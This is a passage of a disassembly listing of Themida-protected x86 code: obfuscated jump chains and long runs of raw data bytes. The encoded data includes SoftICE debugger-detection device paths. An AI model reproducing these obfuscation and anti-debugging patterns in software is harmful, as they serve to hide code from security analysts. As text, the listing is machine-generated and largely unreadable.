		xchg	edx, [esp]
		pop	esp
		jmp	loc_557EC8
; ---------------------------------------------------------------------------

loc_557D65:				; CODE XREF: Themida_:0054ADE2j
		xor	[esp], edi
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_54F7A0
; ---------------------------------------------------------------------------

loc_557D73:				; CODE XREF: Themida_:00545787j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 20107B7Bh
		push	228Bh
		mov	[esp], eax
		mov	eax, 0DEA3CF9h
		and	eax, 65DC5403h
		inc	eax
		or	eax, 5EEC0DA4h
		jmp	loc_5497A3
; ---------------------------------------------------------------------------

loc_557DA8:				; CODE XREF: Themida_:0054CECBj
		mov	[esp], eax
		mov	eax, 5452773Fh
		or	esi, eax
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_54B133
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0C681E689h, 4, 4BF57h, 0FE290000h, 0FF87C6E9h, 8EECBBFFh
		dd 0C3015729h, 154B958h, 0C181B10Fh, 54F71903h,	0FFCC52E9h
		dd 2B30BBFFh, 0DF01AF41h, 0B951475Bh, 78CA40AAh, 5059CF31h
		dd 0D55E98B8h, 40D8F76Bh, 0FF047B0Dh, 3F06354Ah, 0C935502Fh
		dd 5342450Fh, 9B3124BBh, 67B5E937h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557E22:				; CODE XREF: Themida_:00547630j
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	edi
		mov	edi, 0FCA6AB4h
		jmp	loc_54F6D2
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 44h
		dd 8149AA29h, 71692BF1h, 59CD0164h, 0FFB60FE9h,	58C581FFh
		dd 0F77CAC55h, 0A671E9D5h, 0F934FFFFh, 8852102Ch, 8BD388C2h
		dd 0C4832414h, 48B6604h, 2C48124h, 30000000h, 1C8B66D8h
		dd 0E1895124h, 4C181h, 0C1810000h, 2, 5C240C87h, 3930E953h
		dd 815EFFFFh, 2E9h, 240C3300h, 33240C31h, 248B240Ch, 14896624h
		dd 9C506624h, 0FEB3EEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557EAD:				; CODE XREF: Themida_:0054CEEEj
		mov	ecx, esp
		push	esi
		jmp	loc_54B745
; ---------------------------------------------------------------------------

loc_557EB5:				; CODE XREF: Themida_:00555EB2j
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_54329B
; ---------------------------------------------------------------------------

loc_557EC8:				; CODE XREF: Themida_:00557D60j
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_5519DF
; ---------------------------------------------------------------------------

loc_557ED6:				; CODE XREF: Themida_:00554B8Ej
		pop	edi
		push	202h
		mov	[esp], eax
		mov	eax, 1EF043C3h
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	edx, ecx
		add	edx, 1EF043C3h
		push	56C5h
		mov	[esp], ecx
		mov	ecx, 230015E3h
		add	edx, 10160A4Ch
		sub	edx, 10B6EFAh
		add	edx, 407B4850h
		sub	edx, ecx
		jmp	loc_5436DC
; ---------------------------------------------------------------------------

loc_557F1A:				; CODE XREF: Themida_:005496F9j
		not	edi
		xchg	edi, edx
		jmp	loc_54AB68
; ---------------------------------------------------------------------------
byte_557F23	db 83h			; DATA XREF: Themida_:005430B0o
		dd 6AE904ECh, 50FFFEBCh, 88CE8852h, 0C6885AF0h,	0C6E95958h
		dd 4FFFED3h, 0E95A66A5h, 0FFFECFCFh, 89241489h,	4C281E2h
		dd 0E9000000h, 0FFFFE868h, 57240C89h, 8A8098BFh, 5FF9890Ah
		dd 5195ED81h, 0CD294B6Ch, 5195C581h, 0E9594B6Ch, 0FFFF8393h
		dd 9F162A05h, 4EE811Bh,	0E96B2B28h, 0FFFF82E1h
; ---------------------------------------------------------------------------

loc_557F84:				; CODE XREF: Themida_:00544E67j
		push	1F8h
		mov	[esp], edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_5513D9
; ---------------------------------------------------------------------------
		dw 5246h
		dd 0C408E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557FB2:				; CODE XREF: Themida_:00543C10j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edx
		mov	edx, 4
		sub	esi, 6AA304E4h
		jmp	loc_5521C2
; ---------------------------------------------------------------------------
		dd 3122C181h, 515F0644h, 42474FFh, 24048F59h, 8924248Bh
		dd 0E2892414h, 4BE56h, 93E90000h, 81FFFF4Dh, 7D281CEBh
		dd 416E961h, 433FFFFh, 8BB1E924h, 0E95BFFFFh, 0FFFEEAB9h
		dd 0E9240C89h, 0FFFFC44Ch, 4C581h, 0ED830000h, 242C3304h
		dd 0E9242C31h, 0FFFF7F6Ah
; ---------------------------------------------------------------------------

loc_558028:				; CODE XREF: Themida_:0054AA1Dj
		add	esp, 4
		push	3C6Fh
		mov	[esp], ebx
		jmp	loc_55013A
; ---------------------------------------------------------------------------
		dd 4EDBC681h, 0FE012EA7h, 4EDBB951h, 0CE292EA7h, 83240C8Bh
		dd 0C68104C4h, 7BB5445Dh, 0FED877E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558059:				; CODE XREF: Themida_:00543541j
		mov	ecx, esp
		jmp	loc_5546FE
; ---------------------------------------------------------------------------

loc_558060:				; CODE XREF: Themida_:0054FB7Cj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_552169
; ---------------------------------------------------------------------------
		dw 5DBDh
		dd 0E929051Eh, 0FFFED811h
; ---------------------------------------------------------------------------

loc_55807C:				; CODE XREF: Themida_:00555E48j
		pop	esp
		mov	[esp], ebp
		jmp	loc_550330
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0FFh
		dd 0C1FFFFFFh, 17E907E1h, 5DFFFEE4h, 0FEE247E9h, 4EC83FFh
		dd 0B3241C89h, 5BD88859h, 0FFAEFDE9h, 4C083FFh,	5C240487h
		dd 0FF8102E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5580B5:				; CODE XREF: Themida_:0054FA3Dj
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_543D8D
; ---------------------------------------------------------------------------
byte_5580C9	db 0ADh, 0E9h, 7	; DATA XREF: Themida_:005430D8o
		dd 81FFFF3Dh, 97925AF1h, 59C8310Bh, 686AEA81h, 0C28159F8h
		dd 6DD17969h, 0BDE9C201h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5580EB:				; CODE XREF: Themida_:0054CEB9j
		sub	edi, 760FCE5Bh
		mov	eax, edi
		jmp	loc_548BD1
; ---------------------------------------------------------------------------
		dd 0E089505Eh, 405h, 0C3B95100h, 49140917h, 394FE981h
		dd 0B5E96CE3h
		db 0DCh, 2 dup(0FFh)
byte_558113	db 66h			; DATA XREF: Themida_:00543090o
		dd 56240C8Bh, 4A5B68h, 48F5400h, 24048324h, 24348B04h
		dd 0FFE0C7E9h, 242C81FFh, 35C16039h, 81240401h,	60392404h
		dd 2C8135C1h, 6455A224h, 7E3E6809h, 2C890000h, 2B23BD24h
		dd 6C296310h, 815D0424h, 463B242Ch, 48E94AB5h, 0FFFFFEBAh
		dd 815F2434h, 4C4h, 24048F00h, 8B5F5557h, 0EC83242Ch, 240C8904h
		dd 240C8B54h, 0FFFA59E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558185:				; CODE XREF: Themida_:0054EDC4j
		add	edx, 1
		shl	edx, 6
		jmp	loc_5474FC
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 0D452E900h, 0C781FFFEh, 4122583h, 2C1AC781h, 0EF8164D3h
		dd 223E4601h, 8324048Bh, 0B60F04C4h, 8734FFC0h,	8904EC83h
		dd 4CBB241Ch, 4B713971h, 4DFBCB81h, 0F3812CC2h,	36C8471Ch
		dd 23AF6851h, 2C890000h, 0B4DCE924h
		db 0FEh, 0FFh
word_5581E2	dw 8B66h		; DATA XREF: Themida_:0054319Co
		dd 9E9240Ch
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5581EB:				; CODE XREF: Themida_:005539A5j
		pop	eax
		add	ecx, 0B0CC61CDh
		jmp	loc_551BAF
; ---------------------------------------------------------------------------
aFysYaZ		db 'fYS╥Y─гZ',0
		dd 0F66CE9F8h, 0C483FFFFh, 24348704h, 2434FF5Ch, 8124148Bh
		dd 4C4h, 0DCE900h, 16B3FFFFh, 0DA0027B2h, 66D0285Bh, 8B045Ah
		dd 688B2CD8h, 3E83h, 50240C89h,	0D4F6A3B4h, 887BC480h
		dd 24048BE1h, 0FF20C5E9h, 665266FFh, 665300BAh,	5A66D701h
		dd 0FF13AAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558259:				; CODE XREF: Themida_:0054B871j
		mov	esi, 5F686DE8h
		add	eax, esi
		pop	esi
		pop	edx
		or	eax, eax
		jnz	loc_548325
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_556EFD
; ---------------------------------------------------------------------------
		dd 205h, 8285E900h, 5DBAFFFFh, 0C13BE55Ch, 834207EAh, 0D2F701EAh
		dd 0FF3639E9h, 2FF181FFh, 215C5970h, 0E94F59CFh, 0FFFF00E8h
; ---------------------------------------------------------------------------

loc_5582A4:				; CODE XREF: Themida_:00545A28j
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		and	eax, ecx
		pop	ecx
		jmp	loc_551281
; ---------------------------------------------------------------------------
		db 1
		dd 0EC28E9E9h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5582BA:				; CODE XREF: Themida_:0054E663j
		pop	ebx
		sub	esi, edi
		jmp	loc_55392C
; ---------------------------------------------------------------------------

loc_5582C2:				; CODE XREF: Themida_:00552A52j
		sub	ebx, edi
		sub	ebx, 20457037h
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54B61F
; ---------------------------------------------------------------------------
		dd 0CEE95958h
		db 0DAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5582DB:				; CODE XREF: Themida_:0055729Dj
		push	esi
		mov	esi, 4
		jmp	loc_557D59
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 4BD242Ch, 1000000h, 242C8BE9h, 4C481h, 0BB530000h, 4
		dd 875BD901h, 248B240Ch, 0C8BF0F24h, 1C3868h, 24348900h
		dd 0C681E689h, 4, 57968h, 240C8900h, 0BE56E189h, 4, 0FF8748E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558331:				; CODE XREF: Themida_:00550730j
		mov	ebx, esp
		add	ebx, 4
		push	esi
		push	ebx
		jmp	loc_54F126
; ---------------------------------------------------------------------------

loc_558340:				; CODE XREF: Themida_:00555899j
		add	esp, 4
		jmp	loc_553711
; ---------------------------------------------------------------------------

loc_558348:				; CODE XREF: Themida_:00544FF8j
		pop	ecx
		push	7C2Ch
		jmp	loc_548D49
; ---------------------------------------------------------------------------

loc_558353:				; CODE XREF: Themida_:0054B0C3j
		mov	[esp], ebx
		mov	ebx, 3D890FDBh
		push	ebx
		jmp	loc_54B692
; ---------------------------------------------------------------------------

loc_558361:				; CODE XREF: Themida_:0055786Dj
		mov	dx, [esp]
		add	esp, 2
		add	bl, al
		sub	esp, 2
		mov	[esp], cx
		mov	ch, 1Ah
		add	bl, 0F1h
		sub	bl, ch
		sub	bl, 0F1h
		jmp	loc_552772
; ---------------------------------------------------------------------------
		db 1
		dd 5DC381D3h, 8B23DD53h, 58E92414h, 5AFFFFA2h, 0FFAA43E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558399:				; CODE XREF: Themida_:00550AA6j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	eax
		mov	ah, 0BFh
		jmp	loc_5444B6
; ---------------------------------------------------------------------------

loc_5583AD:				; CODE XREF: Themida_:00554480j
		pop	dword ptr [esp]
		pop	esp
		add	ebx, eax
		push	esi
		mov	esi, 0F6F5BFAh
		neg	esi
		dec	esi
		shl	esi, 1
		jmp	loc_5491B6
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FF013CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5583C9:				; CODE XREF: Themida_:00557CFDj
		pop	ecx
		push	eax
		mov	eax, 42086A3Ch
		sub	eax, 0A120427h
		jmp	loc_5476B0
; ---------------------------------------------------------------------------
		dw 14E8h
		dd 49000000h, 7674E763h, 0A8B9F941h, 0AD554254h, 9F9E4A08h
		dd 8BE61475h, 8B605AC1h, 0F18166D7h, 8161EA1Eh,	6081C2h
		dd 0BB00h, 0F7810000h, 19A8A1BAh, 0F91334FFh, 4860F59h
		dd 66000000h, 818FE2BEh, 7F27BDC1h, 74C18138h, 0F507624h
		dd 0E981C3BFh, 4283A1B4h, 5ECE8166h, 830F51C1h,	3, 8FC3B70Fh
		dd 0CE91A04h, 0B4000000h, 0A255890Eh, 0F7A4EC67h, 56DD9D39h
		dd 58D28060h, 14E9h, 9E241E00h,	35C364B1h, 0E0089377h
		dd 8D2708E0h, 0ADA1CF05h, 835F61DCh, 0FB8104EBh, 0FFFFA064h
		dd 29850Fh, 0BE90000h, 0
		dd 3A3C5938h, 19038E30h, 2DE91B8Ch, 75000000h, 867D4C74h
		dd 5EE4FCB1h, 0DD347D5Ah, 4B1EFCC3h, 0F234DD5h,	882h, 0C8815000h
		dd 0C709D39h, 0FF4EE95Eh, 73BFFFFFh, 775C70C7h,	535536EBh
		dd 32335245h, 6C6C642Eh, 56444100h, 33495041h, 6C642E32h
		dd 544E006Ch, 2E4C4C44h, 6C6C64h, 707D7h, 170001h, 180011h
		dd 6C002Ah, 0F8B1135h, 817E9h, 97ED6800h, 6CE90620h, 68FFFDE8h
		dd 6209876h, 0FDE862E9h, 997868FFh, 58E90620h, 68FFFDE8h
		dd 6209AA0h, 0FDE84EE9h, 9AF368FFh, 44E90620h, 68FFFDE8h
		dd 6209BE9h, 0FDE83AE9h, 9C5E68FFh, 30E90620h, 4FFFDE8h
		dd 324DC27Fh, 5B76EB8Ah, 88A318D9h, 0B0CB40E1h,	0B4F56A0Fh
		dd 7336B7C2h, 0A25FE3FEh, 0C96C122Dh, 0EFB63954h, 0C8DE7A7Ah
		dd 3F456A1Ch, 0B047853Ah, 0E12CF34Ch, 0A058077Fh, 86B3A4D8h
		dd 68B9CFEDh, 683F42F3h, 16B34923h, 0BF0CE0D0h,	0C5DBF97Ah
		dd 5F4A990Ch, 0A4FDDF24h, 0A8BEDC95h, 592CCC32h, 75ADCB10h
		dd 3214DD5Ch, 20C3C271h, 4EF10C81h, 468DE5A7h, 6F710C32h
		dd 695E7h, 40FD8600h, 6908B0CBh, 8E57D9F4h, 0B67FFE19h
		dd 0DC812641h, 29342667h, 516CE184h, 748F04B1h,	9FBA2FF2h
		dd 0E0E0551Ch, 69B62E44h, 0EBA03F45h, 59F07313h, 703113D2h
		dd 96AF6749h, 0A96A4C11h, 75FE3BFAh, 0DB091F57h, 0F03924D2h
		dd 8C9AB4Eh, 0AE504F94h, 63E5C0Bh, 0D32CB8CEh, 0E52A3924h
		dd 69943A36h, 51963F45h, 0D1941A33h, 4E179AB3h,	87FCAB6Ch
		dd 0AC4FCA6Ch, 63FCDE05h, 2D5F21C0h, 0E1F24629h, 60C57DFh
		dd 64FD0000h, 832944B9h, 0AE526DE2h, 0F0779207h, 1CA1BC31h
		dd 0B1A3E459h, 0E75C01A6h, 168B36CCh, 41B67BFBh, 6DE28326h
		dd 29BBD16Dh, 2D3F456Bh, 0F073A078h, 33B64F31h,	90A9072h
		dd 0D05654C3h, 310F81C5h, 59000000h, 1331F073h,	3B273FAh
		dd 6A76BA8Eh, 593924D2h, 0BF9A0FD6h, 0D99C217Ah, 0D7E94B2h
		dd 973F4344h, 9B1B3452h, 0A04661D6h, 97931BFDh,	61000005h
		dd 62031C54h, 201CDDBFh, 3924D2C4h, 0A4405692h,	0B23924D2h
		dd 9897466Dh, 2CF57415h, 6FCA2305h, 74ACE402h, 24D2865Eh
		dd 0DC8BD039h, 42E755E0h, 0E95EA33Fh, 836177AFh, 0D33306BEh
		dd 5DE0DF8Eh, 0ADE51F94h, 54501194h, 3306BE90h,	5F06A9C6h
		dd 0E695BC7Dh, 43611227h, 2755AC2Dh, 314F9439h,	0B5D39618h
		dd 0A6551C9Ch, 2660F731h, 177F724Bh, 0DBDF6FE7h, 82A94917h
		dd 8F52D4D3h, 0D09114ADh, 2872700Eh, 32BABCECh,	50Ah, 46BB66FBh
		dd 6FE48D2Bh, 9C11D054h, 0C63BFA81h, 0F2670AABh, 33B4BFB1h
		dd 44DEF96Eh, 65092499h, 8D304BC0h, 0D36F6FE4h,	456C27BDh
		dd 0A27A2F3Fh, 0F6BB3B54h, 9E465C14h, 0B83924D2h, 9E9D4C73h
		dd 0C0785A1Bh, 0D2727288h, 0C7E43924h, 0A8577E3Bh, 415F06A9h
		dd 0FADC8528h, 444BC39h, 17C06104h, 0FF008668h,	8DC00AB9h
		dd 0F3AF3925h, 81C51DF6h, 0FFFED9AFh, 0F073F9FFh, 43F64F31h
		dd 2B0DD056h, 0F25436Ah, 3F42F16Eh, 0B479FD1Ah,	0FC3D188Dh
		dd 0BD405977h, 0F6D8991Ch, 6B2C0E35h, 2E669EBCh, 6B3CC18h
		dd 96458A33h, 24DB739Ah, 0EF03539h, 0E88C6978h,	62A8452Ch
		dd 216F5F3h, 831F388Eh,	8433F4D6h, 141DCh, 0A4D82600h
		dd 901586B3h, 32AEBCDh,	0F352CFE5h, 397E3F42h, 2790841Bh
		dd 1EF6A010h, 757825A1h, 0F5A4F1F0h, 5A44851Bh,	0A8910CE0h
		dd 3A97ADCBh, 0F65F4A24h, 688F56D9h, 670C2D86h,	57A73349h
		dd 569B592Ch, 0D59C1F38h, 0CA24560h, 0EFE5EEF6h, 0FC23684Ch
		dd 31D2DE3Ah, 60E8EA0Ch, 3E2h, 1E934ED3h, 47BC6503h, 74E9882Ch
		dd 9E13D259h, 0CA3FE283h, 0EB8C9789h, 2CB6D146h, 5DE1FC71h
		dd 65082398h, 0AB4747BCh, 456D4F95h, 7A52073Fh,	0CFED86B3h
		dd 456A2DB9h, 0CAE82D3Fh, 0F3680DB1h, 0B19356D8h, 0ACC9518h
		dd 0F2462820h, 8FA22A2Ch, 80000003h, 0A6C136E3h, 0CFEA5F06h
		dd 0F40F842Dh, 1C37AC75h, 2061D69Bh, 0DF82232Eh, 6B34F6Ah
		dd 2DF07691h, 5B1A9DB8h, 344AE6E6h, 3F456CB0h, 7319F1A6h
		dd 0B64F31F0h, 0A907233h, 0BAF2C309h, 24D340A4h, 22D11639h
		dd 24D4A426h, 26BED439h, 303924D1h, 0B08C4EBh, 0C481C5D7h
		dd 0FFFFFD76h, 48E98FA8h, 3EF6A566h, 4F31F073h,	9B495F97h
		dd 0BB3924D2h, 3108C776h, 950C2240h, 3B3F42F4h,	39BFD8F6h
		dd 0B0796B81h, 98DD3306h, 1FCE8F71h, 0AFD8D6AAh, 911881B8h
		dd 62DEED0h, 852CCFE8h,	1533E2A3h, 42F322FFh, 8F69AE3Fh
		dd 1E2601F9h, 6E0336DBh, 42973A50h, 5499910Dh, 53201972h
		dd 75BB1F35h, 42878AEFh, 0C46D0B24h, 0A6BFF715h, 0E17A5C01h
		dd 0F4B5975Eh, 92850CDh, 1DFFA350h, 4DCC6F6Eh, 68290BAAh
		dd 0EB1CC41h, 207FA567h, 41433DF5h, 299B9h, 3CF98A00h
		dd 650CACC7h, 9253D5F0h, 0BA7B021Dh, 0E0852A45h, 2D382A6Bh
		dd 5570E588h, 809B10CDh, 0ABC63BFEh, 0F4F46908h, 6DA24258h
		dd 0FFB43F45h, 29BD5427h, 9D9F5942h, 8AAF6E1Dh,	3BB5CBE9h
		dd 333F45C9h, 41AB4998h, 0F31A9D56h, 773ABCD5h,	0F5BC4059h
		dd 0FDAC71F6h, 24C96D88h, 3C528A42h, 3304A1A8h,	0BBBA69AEh
		dd 7FB77938h, 4FF2468Eh, 224C54Dh, 8C150000h, 0BB415CD1h
		dd 0C66A85FAh, 0E88FAA1Fh, 34B9D449h, 0C9BBFC71h, 0FF7439BEh
		dd 2EA35EE4h, 59CE9313h, 85FABB3Eh, 11D3E985h, 453F456Fh
		dd 86B3B890h, 37B9CFEDh, 8D3F456Ah, 7E2DF474h, 90E16F0Ah
		dd 1BB53B49h, 0D0C529C5h, 567DA447h, 0B2C80038h, 3304A832h
		dd 3130DF24h, 3872E78Eh, 27D6831Fh, 7E9CD568h, 0EA8B2D46h
		dd 0E9E6F108h, 258FA354h, 0BB7EFFFEh, 6D6918D9h, 3303FF81h
		dd 29C2A4E9h, 0E6FFE184h, 0E8326C7h, 13990A33h,	0B0AF7052h
		dd 0C283650Ch, 85677D9Bh, 0E13303FFh, 9E21BA9Ch, 7DC20D81h
		dd 0D1F8B364h, 47A037EFh, 0A467538Ah, 9CBB3AE9h, 0C8E35819h
		dd 6001A425h, 15235739h, 0E88EA7DFh, 0CFC8C845h, 793E3740h
		dd 300147CAh, 3CB84E99h, 991E8A62h, 83A21F26h, 51B394Dh
		dd 3304C0DFh, 84833277h, 0B0CB40E1h, 0E46640Dh,	4C0ECF8h
		dd 26256A33h, 5133E283h, 907237B8h, 14C60C0Fh, 405BD091h
		dd 8B9FA4BFh, 8B84D5EBh, 244BF68Ch, 6F536F06h, 53879D77h
		dd 0AA8EC2A4h, 0B567AD4Ah, 0DDF86D30h, 1AB39558h, 0DA73F994h
		dd 0EFB09253h, 51BFA1C8h, 0B738EA30h, 3CBBD4F2h, 68FA9375h
		dd 62D786ADh, 1BFDA447h, 782AA185h, 6A0BAEEBh, 0A653EF88h
		dd 0FD4340C4h, 0E82E4F23h, 931AB336h, 82FF0D2h,	2CF57893h
		dd 0B3E2770Eh, 2AFA8448h, 7F00997Bh, 5754D8BAh,	15DC5F11h
		dd 0A94D66A0h, 0C0E78A2Ch, 0C66F1211h, 71E88FA8h, 1BFD24D1h
		dd 70C9AB5Ah, 528AA8C9h, 3DECA939h, 0AF615C41h,	2A9C280h
		dd 43C08163h, 660F9B43h, 37AB5ABCh, 0A6CD881Ah,	8EE35631h
		dd 22A65A70h, 0A3E87A94h, 0DC8528C1h, 94142D67h, 7B2AEBCDh
		dd 5638F97Ch, 0FE83D0C0h, 256B6877h, 0D659F073h, 456C2D0Fh
		dd 0F87D96D0h, 0E4878635h, 0ED986DE7h, 139944ABh, 88AF7052h
		dd 8FC77F61h, 0A7666B79h, 0F7A6EB64h, 0CEB071F8h, 47F93F60h
		dd 6D88FDA4h, 0C1492BCAh, 0Ah, 0C9681029h, 0BF7726E7h
		dd 0EE73A77Fh, 35B85133h, 4DF18A6Ch, 952DC6A8h,	0C86D06E8h
		dd 5AA4325h, 46E57E60h,	8024BD9Fh, 0C666FFE1h, 53003D1Fh
		dd 0BE56E389h, 1D2D4D3Ah
		dd 26BECE81h, 81460DADh, 0AD6FBBF6h, 5EF3011Dh,	8704EB83h
		dd 685C241Ch, 3F33h, 68242C89h,	14ADh, 0BD241489h, 75147BD5h
		dd 6528F581h, 0F7450970h, 5CED81D5h, 45240619h,	50C9BF57h
		dd 0FD3159B5h, 148B545Fh, 4C48124h, 81000000h, 4ECh, 242C8900h
		dd 8B08428Fh, 89572414h, 4C781E7h, 83000000h, 3C8704C7h
		dd 2C8B5C24h, 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h
		dd 0FDE066E9h, 931663FFh, 8A2E32B9h, 209EA7B8h,	0FFC50306h
		dd 0E5A942E0h, 6EC07F3Ch, 0B5530531h, 48D1F97Dh, 0B941C557h
		dd 0CA5CD10h, 0F6C4444Dh, 0D2CE4B6Fh, 62D1EB0Ch, 0EEF8E249h
		dd 0B4BD403h, 711B2E36h, 99B7B451h, 0A312C728h,	0B3153B52h
		dd 72E931h, 83600000h, 1E13B9BDh, 840F0006h, 5,	5DE9h
		dd 80006A00h, 850F303Eh, 8, 0E946006Ah,	35h, 0F333E80h
		dd 885h, 46106A00h, 24E9h, 343E8000h, 8850Fh, 306A0000h
		dd 13E946h, 3E800000h, 8850F35h, 6A000000h, 2E94640h, 6A000000h
		dd 91858D00h, 50061E30h, 96240489h, 6A9650h, 31D595FFh
		dd 0C361061Eh, 204185C6h, 684D061Eh, 0DDC15D09h, 0A1243481h
		dd 0FF79F42Bh, 1E1455B5h, 0FA858D06h, 0FF061E38h, 0D58589D0h
		dd 0EB061E31h, 2E5C5C1Eh, 4349535Ch, 5C5C0045h,	49535C2Eh
		dd 44495657h, 2E5C5C00h, 49544E5Ch, 8B004543h, 3D958BC0h
		dd 83061E20h, 1E1D79BDh, 9750006h, 2B25BD83h, 7400061Eh
		dd 8B535019h, 40FB8C0h,	85890000h, 61E0CE9h, 0AC3A9D8Dh
		dd 0D3FF0620h, 0BD83585Bh, 61E2B25h, 50177400h,	40FB853h
		dd 85890000h, 61E0CE9h,	0A9299D8Dh, 0D3FF0620h,	0B58B585Bh
		dd 61E0205h, 13E8h, 49FA8100h, 2BF933A0h, 563520DDh, 36D6A6F4h
		dd 0A815DE1Bh, 0C12565BAh, 8E85A4Bh, 0D5000000h, 0A3F1BC65h
		dd 0E8D56564h, 0Ah, 58A12009h, 81270C4Fh, 0E6BAEFA1h, 59522078h
		dd 81C08B59h, 8CE2AAD1h, 4185C650h, 43061E20h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 8FC35343h, 0C03C5F7Eh
		dd 58D8998h, 0E8061E2Ch, 4, 0BC8E6EFCh,	2840Fh,	0FA8B0000h
		dd 8E850h, 0F2740000h, 41A19B51h, 9E85CF2h, 5E000000h
		dd 59A6C17Ah, 7DE0DB62h, 595A5E50h, 424448Bh, 8BFE8B66h
		dd 24448900h, 55E8B904h, 8B5809DEh, 1E1C3DB5h, 0F1B5FF06h
		dd 6A061E02h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 6403C355h, 38FA858Dh, 0FFF9061Eh
		dd 295150D0h, 1E05B1B5h, 505E5906h, 0F240489h, 681h, 0BEEF8100h
		dd 6A2FFFDCh, 0B98D8B00h, 0E8061E00h, 4, 80h, 0BB666050h
		dd 8B6106B2h, 8B042444h, 6461BE00h, 4489189Eh, 52500424h
		dd 59F38B53h, 8B66310Fh, 58585AC8h, 1C018501h, 36A061Eh
		dd 303DB589h, 0BD8B061Eh, 61E2231h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0E3D3A8C3h
		dd 1C19D89h, 36A061Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 5FC35646h, 4E81Bh, 0
		dd 0D2BAC000h, 501BDF36h, 448BF08Bh, 57570424h,	595ACF8Bh
		dd 35B9008Bh, 8905AA60h, 0BF042444h, 5B363D2Bh,	5958958h
		dd 8D061E30h, 20A0259Dh, 0BD8D0906h, 50061E29h,	1C89D78Bh
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 23061DBBh, 8E86BA66h, 0F40D0FFh,	21385h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 2B5818F0h, 1E32358Dh, 0D08B9006h, 2AB96650h
		dd 6A90A5h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 5801AEC3h, 0B58B29AFh, 61E0A05h, 8B66006Ah
		dd 2BB668F2h, 6DBA7E54h, 811C2453h, 2B362434h, 0F2817E54h
		dd 242FDF0Ah, 8D8B036Ah, 61E2C55h, 36A006Ah, 2D19B58Bh
		dd 0ED68061Eh, 0E8C4410Dh, 0Bh,	16CDAFDCh, 9E375955h, 66E63A62h
		dd 5E92FEBFh, 0ED243481h, 8904410Dh, 1E03B195h,	31BE6606h
		dd 2E9D8D38h, 8B0620A0h, 1E02418Dh, 0CA8B9306h,	2880F50h
		dd 8A000000h, 6A93F7h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 4D932AC3h, 0FF548F81h, 57006AD0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0FC24894h, 8B66935Eh, 850F40CEh, 100h, 0F1A3BA66h, 52509058h
		dd 0B8BA310Fh, 5A1708C4h, 4FB55058h, 92CA8090h,	0BF0F006Ah
		dd 94CC68C9h, 10E8CE32h, 0F8000000h, 879B3FC7h,	101B2003h
		dd 0AFD17C6Dh, 507DA828h, 6E952h, 21EF0000h, 0E5A08B83h
		dd 8B66310Fh, 59585AD6h, 0B4240481h, 8B31CD6Bh,	0F036AD7h
		dd 68Bh, 4DBD8900h, 6A061E08h, 2EF3BE00h, 36A612Ah, 820Fh
		dd 55680000h, 66E471B0h, 81AE2FBEh, 0B0552434h,	6A2471h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 555361C3h, 9D8DBFF4h, 620A039h, 0DE950F9h, 7A000000h
		dd 3039309Bh, 93612477h, 0F2767772h, 0FF241C89h, 9E9D0h
		dd 0DCAB0000h, 0CE605F12h, 4009254Bh, 2A850Fh, 89580000h
		dd 1E0A198Dh, 1BDE906h,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0C88BEBC3h, 0B589D88Bh
